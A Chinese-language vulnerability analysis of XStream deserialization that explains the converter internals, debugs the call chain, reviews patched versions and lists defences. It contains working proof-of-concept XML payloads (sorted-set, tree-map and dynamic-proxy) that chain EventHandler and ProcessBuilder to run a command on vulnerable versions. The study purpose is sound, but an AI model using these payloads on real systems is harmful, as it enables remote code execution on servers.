XStream反序列化
前言
这里其实只分析了基础的,后面很多cve都已经不使用这种方式打了,我主要就是了解一下这个漏洞
基础
重要组件
MarshallingStrategy
编码策略
marshall : object->xml 编码
unmarshall : xml-> object 解码
两个重要类
TreeMarshaller: 树编组程序 调用Mapper和Converter把 java对象-> XML
它的start方法中其中的convertAnother方法把java对象转化成XML
TreeUnmarshaller树解组程序 调用Mapper和Converter把 XML->java对象
里面的start方法开始解组,convertAnother方法把class转化成java对象。
public Object start(DataHolder dataHolder) {
this.dataHolder = dataHolder;
Class type = HierarchicalStreams.readClassType(reader, mapper);
Object result = convertAnother(null, type);
Iterator validations = validationList.iterator();
while (validations.hasNext()) {
Runnable runnable = (Runnable)validations.next();
runnable.run();
}
return result;
}
Mapper
就是我们的映射器
就是我们序列化和反序列化的时候,获取的数据是从封装好的map里面获取的
通过mapper获取对象对应的类、成员、Field属性的Class对象,赋值给XML的标签字段。
Converter
这个就是反序列化和序列化的核心处理过程
Converter的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。
其中需要实现的三个方法
canConvert方法:告诉XStream对象,它能够转换的对象;
marshal方法:能够将对象转换为XML时候的具体操作;
unmarshal方法:能够将XML转换为对象时的具体操作;
Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的。
Xstream的思路是在反序列化时,通过不同的converter来处理不同类型的数据。
最外层的没有实现Serializable接口的类时用的是ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值。
如果是处理实现了Serializable接口并且重写了readObject方法的对象时使用的是SerializableConverter,并且readObject方法也会被调用。
DynamicProxyConverter
DynamicProxyConverter即动态代理转换器,是XStream支持的一种转换器,其存在使得XStream能够把XML内容反序列化转换为动态代理类对象
XStream反序列化漏洞的PoC都是以DynamicProxyConverter这个转换器为基础来编写的。
example
<dynamic-proxy>
<interface>com.foo.Blah</interface>
<interface>com.foo.Woo</interface>
<handler class="com.foo.MyHandler">
<something>blah</something>
</handler>
</dynamic-proxy>
dynamic-proxy标签在XStream反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah或com.foo.Woo这两个接口类中声明的方法时(即interface标签内指定的接口类),就会调用handler标签中的类方法com.foo.MyHandler
而最重要的类就是EventHandler
XStream编组/解组具体过程
测试代码
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
public class Test {
public static void main(String[] args) {
// 创建XStream实例
XStream xstream = new XStream(new DomDriver());
// 定义一个简单的Java对象
class Person {
private String name;
private int age;
// 必须有一个无参构造函数
public Person() {}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
// 省略getter和setter方法
}
// 将Person类的实例序列化为XML
Person person = new Person("John Doe", 30);
String xml = xstream.toXML(person);
System.out.println("Serialized XML:");
System.out.println(xml);
// 现在,假设我们从某个地方得到了XML,并希望将其反序列化为Person对象
String xmlData = "<person><name>John Doe</name><age>30</age></person>";
// 需要先为XStream注册要反序列化的类
xstream.alias("person", Person.class);
// 反序列化XML为Person对象
Person decodedPerson = (Person) xstream.fromXML(xmlData);
System.out.println("Deserialized Person:");
System.out.println("Name: " + decodedPerson.getName());
System.out.println("Age: " + decodedPerson.getAge());
}
}
fromXML解组
fynch3r师傅讲得很好。直接用了
第一步:把String转化成StringReader,HierarchicalStreamDriver通过StringReader创建HierarchicalStreamReader,最后调用MarshallingStrategy的unmarshal方法开始解组
第二步:进入start方法,开始解析
public Object start(DataHolder dataHolder) {
this.dataHolder = dataHolder;
//通过Mapper获取对应节点的Class对象
Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
//Converter根据Class的类型转化成java对象
Object result = this.convertAnother((Object)null, type);
Iterator validations = this.validationList.iterator();
while(validations.hasNext()) {
Runnable runnable = (Runnable)validations.next();
runnable.run();
}
return result;
}
先看readClassType里面做了什么事情:
public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {
String classAttribute = readClassAttribute(reader, mapper);
Class type;
if (classAttribute == null) {
// 通过节点名获取Mapper中对应的Class对象
type = mapper.realClass(reader.getNodeName());
} else {
type = mapper.realClass(classAttribute);
}
//返回值type就是obj对应的Class对象
return type;
}
第三步 : convertAnother 方法
public Object convertAnother(Object parent, Class type, Converter converter) {
//根据mapper获取type类对象的正确类型
type = this.mapper.defaultImplementationOf(type);
if (converter == null) {
//根据type找到对应的converter
converter = this.converterLookup.lookupConverterForType(type);
} else if (!converter.canConvert(type)) {
ConversionException e = new ConversionException("Explicit selected converter cannot handle type");
e.add("item-type", type.getName());
e.add("converter-type", converter.getClass().getName());
throw e;
}
return this.convert(parent, type, converter);
}
注意这里参数parent,converter默认都是null
如何查找对应的converter?
public Converter lookupConverterForType(Class type) {
//先从缓存集合中查找Converter
Converter cachedConverter = (Converter)this.typeToConverterMap.get(type);
if (cachedConverter != null) {
return cachedConverter;
} else {// 如果缓存中没有,那么就在converter中寻找
Iterator iterator = this.converters.iterator();
Converter converter;
// 遍历converters找到符合的Converter
do {
if (!iterator.hasNext()) {
throw new ConversionException("No converter specified for " + type);
}
converter = (Converter)iterator.next();
} while(!converter.canConvert(type));
// 把这次找到的放在缓存集合中
this.typeToConverterMap.put(type, converter);
return converter;
}
}
现在来到return this.convert(parent, type, converter);这句
会到com.thoughtworks.xstream.core.TreeUnmarshaller#convert这里:
protected Object convert(Object parent, Class type, Converter converter) {
try {
this.types.push(type);
// 会进入这里
Object result = converter.unmarshal(this.reader, this);
this.types.popSilently();
return result;
} catch (ConversionException var6) {
this.addInformationTo(var6, type, converter, parent);
throw var6;
} catch (RuntimeException var7) {
ConversionException conversionException = new ConversionException(var7);
this.addInformationTo(conversionException, type, converter, parent);
throw conversionException;
}
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
// 构造Class类对象的instance实例,field没有赋值,都是默认值
Object result = this.instantiateNewInstance(reader, context);
// 对result的field赋值
result = this.doUnmarshal(result, reader, context);
return this.serializationMethodInvoker.callReadResolve(result);
}
toXML编组
不说了,为了整齐美观
总结
解析XML:首先,XStream使用内部的HierarchicalStreamReader(这可能是基于StAX,Xpp,JDOM等的实现)开始解析XML。
HierarchicalStreamReader会从XML的开头开始顺序读取所有的元素,并提供读取节点名称,节点值,属性等所有必要的方法。
查找对应的Converter:对于每一个读取到的节点,XStream会通过Mapper找到对应的Converter。Converter是用来将XML数据转换为Java对象的。XStream有许多内建的Converter,例如用于处理基本类型、集合、数组、枚举的Converter等,同时也允许用户自定义Converter。
调用Converter的unmarshal()方法:获取到对应的Converter后,XStream会调用它的unmarshal()方法,传入HierarchicalStreamReader,当前的context以及result。这个result是一个已经部分构建的对象,在一些特定情况下可以用来做更深层次的处理。
Converter生成对象:Converter会利用HierarchicalStreamReader提供的信息以及额外的上下文(context),生成Java对象。在这个过程中,Converter会读取节点的值,可能会再次查找并调用其他Converter处理节点内部的元素,也可能会根据属性生成特定的Java对象。
返回生成的对象:Converter生成的对象会返回到XStream中,XStream再返回到用户。
XStream漏洞
漏洞原理
原理就是我们的xml的反序列化是支持反序列化动态代理的,XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,这个标签中可以指定一个接口,反序列化就是为这个接口生成一个动态代理,当调用这个接口的方法的时候,就会调用动态代理对象hander的invoke方法,我们可以控制dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类,然后传入恶意的参数实现恶意的利用
sorted-set触发
环境和版本限制
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version>
</dependency>
影响版本
1.4.5,1.4.6,1.4.10
复现
import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class sorted {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream fileInputStream=new FileInputStream("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\ts\\src\\main\\java\\1.xml");
XStream xstream=new XStream();
xstream.fromXML(fileInputStream);
}
}
1.xml
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
运行弹出计算器
调试分析
首先我们直接进入反序列化的流程从TreeUnmarshaller.start()开始分析
调用HierarchicalStreams.readClassType()来获取到PoC XML中根标签的类类型,然后调用convertAnother()函数开始对我们的type进行一个类型的转换
然后调用 mapper.defaultImplementationOf(type);就是把我们的类型转为默认的实现
然后就是一直找,找到就返回,最后找到的是java.util.TreeSet作为实现类
调用converterLookup.lookupConverterForType()来寻找TreeSet对应类型的转换器
通过调用Converter.canConvert()函数来判断该转换器是否能够转换出TreeSet类型,这里找到满足条件的TreeSetConverter转换器
接着是调用typeToConverterMap.put(type, converter);将类型和转换器的对应关系放入Map表中,再返回转换器
然后一直convert方法,进入到AbstractReferenceUnmarshaller的convert方法
Object currentReferenceKey = getCurrentReferenceKey();
parentStack.push(currentReferenceKey);
把我们获取到的标签压入栈中
convert:71, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
最后到我们的父类TreeUnmarshaller 的convert方法,其中会调用
Object result = converter.unmarshal(reader, this);
也就是我们xml标签对于的实现类对应的转换器的unmarshal方法
这个方法最重要的就是
treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
填充TreeMap断是否是第一个元素,是的话就调用putCurrentEntryIntoMap()函数
Object key = readItem(reader, context, map);
target.put(key, key);
内部调用readItem方法,读取我们的xml标签,然后给它找一个对应的转换器
Class type = HierarchicalStreams.readClassType(reader, mapper());
return context.convertAnother(current, type);
可以看到就是我们的外层xml标签
第外层元素的转换器获取好了之后调用reader.moveUp()返回到父节点
调用populateMap(reader, context, result, sortedMap);继续填充
内部会调用populateCollection方法去收集填充的对象
通过moveDown去子节点,然后addCurrentElementToCollection方法
protected void addCurrentElementToCollection(HierarchicalStreamReader reader, UnmarshallingContext context,
Collection collection, Collection target) {
Object item = readItem(reader, context, collection);
target.add(item);
}
又重复去给我们的xml标签获取转换器然后又add进去,这个节点获取完成后reader.moveUp();回到父节点,就递归获取
下面到了重点部分
————————————————————
因为我们是有一个标签,当然也会去找它的转换器,就是我们的DynamicProxyConverter实现类 ,当然也会调用它的unmarshal方法
我们的实现类就是一个代理,它代理了compare接口,而实现类是我们的EventHandler
然后我们如果要触发漏洞,只需要调用这个代理类的方法触发我们的invoke就好了
我们继续看后面,当我们把所有标签都转换完成后
result.putAll(sortedMap);
会直接把结果putAll
我们跟进调用父类的putAll
对map的元素依次put放入
我们的map就是当为我们的代理对象的时候
会调用代理对象的compareto方法,而我们说了我们是代理的conpare接口,内部就有compareto方法,所以会调用到EventHandler.invoke()
EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链
三个参数都是可以控制的,所以可以调用任意对象的任意方法
再次把POC给出来,让我们有更好的理解
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
总结
首先是PoC中构造了一对sorted-set标签,里面最重要的就是标签,它内部可以包含一个接口和一个对应的代理handler,我们反序列化的过程会不断的去把我们的标签给convert,当对我们的开始convert的时候,会为我们的接口创建一个动态代理,然后最后会把我们构造好的putall,在其中会因为我们的key其中之一就是代理对象,会调用key的compare方法,那么就会触发到代理对象的代理方法,触发invoke,触发恶意代码
XStream.fromXML
XStream.unmarshal
AbstractTreeMarshallingStrategy.unmarshal
TreeUnmarshaller.start
HierarchicalStreams.readClassType
TreeUnmarshaller.convertAnother
DefaultConverterLookup.lookupConverterForType
...
TreeSetConverter.unmarshal
TreeSetConverter.populateTreeMap
DynamicProxyConverter.unmarshal
...
ReflectionConverter.canConvert
...
TreeMap.putAll
AbstractMap.putAll
TreeMap.put
$Proxy0.compareTo
EventHandler.invoke
EventHandler.invokeInternal
MethodUtil.invoke
各种版本
<=1.3.1
可以看到是我们readclass不能再找到我们根标签sorted-set的默认实现类,所以不能利用
1.4-1.4.4
我们运行也没有报错,然后调试发现不能再进入populateTreeMap()方法,也就不会触发
result.putAll(sortedMap);
就走不到我们的invoke
看看为什么我们不能走到populateTreeMap()
因为我们的treeMap == null根本不会走到else分支
而更里面的原因是因为
这里我试着去挖掘一下,那我们不是发射修改就好了吗,但是注意的是我们能够控制的只是xml的内容,这个不是一般的反序列化流程了,所以没办法
1.4.7-1.4.9
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: No converter specified for class java.beans.EventHandler
at com.thoughtworks.xstream.core.DefaultConverterLookup.lookupConverterForType(DefaultConverterLookup.java:61)
at com.thoughtworks.xstream.XStream$1.lookupConverterForType(XStream.java:498)
说我们的EventHandler是没有converter specified ,DefaultConverterLookup.lookupConverterForType抛出了错误
发现在把我们的实现类转为convert的时候把handler给过滤了
1.4.10
我们知道1.4.7-1.4.9版本中是因为在ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤导致不能成功利用。
但是我们在1.4.10中发现ReflectionConverter.canConvert()函数中把对EventHandler类的过滤又去掉了
public boolean canConvert(Class type) {
return (this.type != null && this.type == type || this.type == null && type != null) && this.canAccess(type);
}
在利用的过程中虽然能够成功触发,但是控制台会输出提示未初始化XStream安全框架、会存在漏洞风险
1.4.11
Mi1k7ea师傅讲得很好
Security framework of XStream not initialized, XStream is probably vulnerable.
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: Security alert. Unmarshalling rejected.
拒绝反序列化目标类
1.4.11以后的版本XStream新增了一个Converter类InternalBlackList,可以看到其实现的canConverter()方法中对EventHandler类、以”javax.crypto.”开头的类、以”$LazyIterator”结尾的类都进行了匹配,而其marshal()和unmarshal()方法都是直接抛出异常的,换句话说就是匹配成功的直接抛出异常即黑名单过滤
private class InternalBlackList implements Converter {
private InternalBlackList() {
}
public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Security alert. Marshalling rejected.");
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Security alert. Unmarshalling rejected.");
}
}
在XStream.setupConverters()函数中注册转换器时,InternalBlackList的优先级为PRIORITY_LOW高于ReflectionConverter的优先级PRIORITY_VERY_LOW,因此会优先判断
因此,在后面的调试中会发现,当要寻找EventHandler类的转换器时,会返回InternalBlackList转换器
当调用该InternalBlackList转换器的unmarshal()方法时,直接抛出异常:
基于tree-map
<=1.4.6或=1.4.10
我们上面除了黑名单的限制我们是无法绕过的之外,还有一个限制就是treeMap为null的问题,其实这个问题还是主要在于我们使用的sorted-set的转换器,当我们使用
得到的转换器是TreeMapConverter,至于其整个调用过程以及原理和前面sorted-set的差不多,只是转换器不一样了
因为本次payload用的是TreeMapConverter转换器,和前面TreeSetConverter不一样,这里不存在类似sortedMapField是否为null的限制,因为两个转换器的代理逻辑完全不一样
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
基于接口的PoC
<=1.4.6或=1.4.10
但是缺点是,我们必须得知道服务端反序列化得到的是啥接口类。
修改Test.java,将Person类改为IPerson接口类,和ipayload.xml中的interface标签内容相对应
public class Test {
public static void main(String[] args) throws FileNotFoundException {
// String xml = new Scanner(new File("ipayload.xml")).useDelimiter("\\Z").next();
FileInputStream xml = new FileInputStream("ipayload.xml");
XStream xstream = new XStream(new DomDriver());
IPerson p = (IPerson) xstream.fromXML(xml);
p.output();
}
}
<dynamic-proxy>
<interface>IPerson</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
IPerson接口类必须定义成public即公有的,否则程序运行会报错显示没有权限访问该接口类。
防御
将XStream升级到最新版,即1.4.11之后的版本;
若只想手动修改代码,可以参考1.4.7-1.4.9版本的修补方法,在ReflectionConverter.canConvert()函数中添加了对包括EventHandler等类的过滤,当然这只是黑名单过滤方式,存在绕过风险
若版本号>=1.4.7,XStream提供了一个安全框架供用户使用,但必须手工设置,可以调用addPermission()、allowTypes()、denyTypes()等对某些类进行限制,即建立黑白名单机制进行过滤
XStream.addPermission(TypePermission);
XStream.allowTypes(Class []);
XStream.allowTypes(String []);
XStream.allowTypesByRegExp(String []);
XStream.allowTypesByRegExp(Pattern []);
XStream.allowTypesByWildcard(String []);
XStream.allowTypeHierary(Class);
XStream.denyPermission(TypePermission);
XStream.denyTypes(Class []);
XStream.denyTypes(String []);
XStream.denyTypesByRegExp(String []);
XStream.denyTypesByRegExp(Pattern []);
XStream.denyTypesByWildcard(String []);
XStream.denyTypeHierary(Class);
若是1.4.10版本,提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认白名单,其本质还是调用XStream提供的安全框架里的addPermission()、allowTypes()、denyTypes()等函数,区别在于自己定义了一些默认白名单,但必须手工设置,否则还是存在漏洞:
试下效果,在前面的Demo我们添加这个默认白名单过滤:
public class Test {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream xml = new FileInputStream("ipayload.xml");
XStream xstream = new XStream(new DomDriver());
// 使用默认白名单过滤
XStream.setupDefaultSecurity(xstream);
Person p = (Person) xstream.fromXML(xml);
p.output();
}
}
运行后会报错,显示禁止反序列化动态代理类